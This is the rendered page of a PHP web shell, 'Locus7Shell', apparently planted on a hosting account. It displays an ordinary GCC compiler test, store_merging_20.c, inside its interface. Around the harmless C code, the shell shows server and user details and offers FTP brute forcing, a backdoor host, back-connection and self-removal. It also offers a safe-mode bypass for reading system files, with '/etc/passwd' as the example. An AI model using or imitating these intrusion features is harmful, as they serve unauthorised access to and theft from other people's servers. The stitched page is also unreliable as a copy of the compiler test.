Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     store_merging_20.c (1.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do run } */
/* { dg-require-effective-target store_merge } */
/* { dg-options "-O2 -fdump-tree-store-merging" } */

extern void abort (void);

struct S1 {
  unsigned int flag : 1;
  unsigned int size : 31;
};

__attribute__((noipa))
void foo1 (struct S1 *s, unsigned int size)
{
  s->flag = 1;
  s->size = size & 0x7FFFFFFF;
}

struct S2 {
  unsigned int flag : 1;
  unsigned int size : 15;
  unsigned short count;
};

__attribute__((noipa))
void foo2 (struct S2 *s, unsigned short size)
{
  s->flag = 1;
  s->size = size;
  s->count = 0xABCD;
}

struct S3 {
  unsigned int n1 : 4;
  unsigned int c  : 8;
  unsigned int n2 : 4;
};

__attribute__((noipa))
void foo3 (struct S3 *s, unsigned char n1, unsigned char c, unsigned char n2)
{
  s->n1 = n1 & 0xF;
  s->n2 = n2 & 0xF;
  s->c = c;
}

int main (void)
{
  struct S1 s1;
  struct S2 s2;
  struct S3 s3;

  foo1 (&s1, 0x12345678);
  if (s1.flag != 1 || s1.size != 0x12345678)
    abort ();

  foo2 (&s2, 0x1234);
  if (s2.flag != 1 || s2.size != 0x1234 || s2.count != 0xABCD)
    abort ();

  foo3 (&s3, 0x12, 0x34, 0x56);
  if (s3.n1 != 0x2 || s3.c != 0x34 || s3.n2 != 0x6)
    abort ();

  return 0;
}

/* { dg-final { scan-tree-dump-times "Merging successful" 3 "store-merging" } } */

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0055 ]--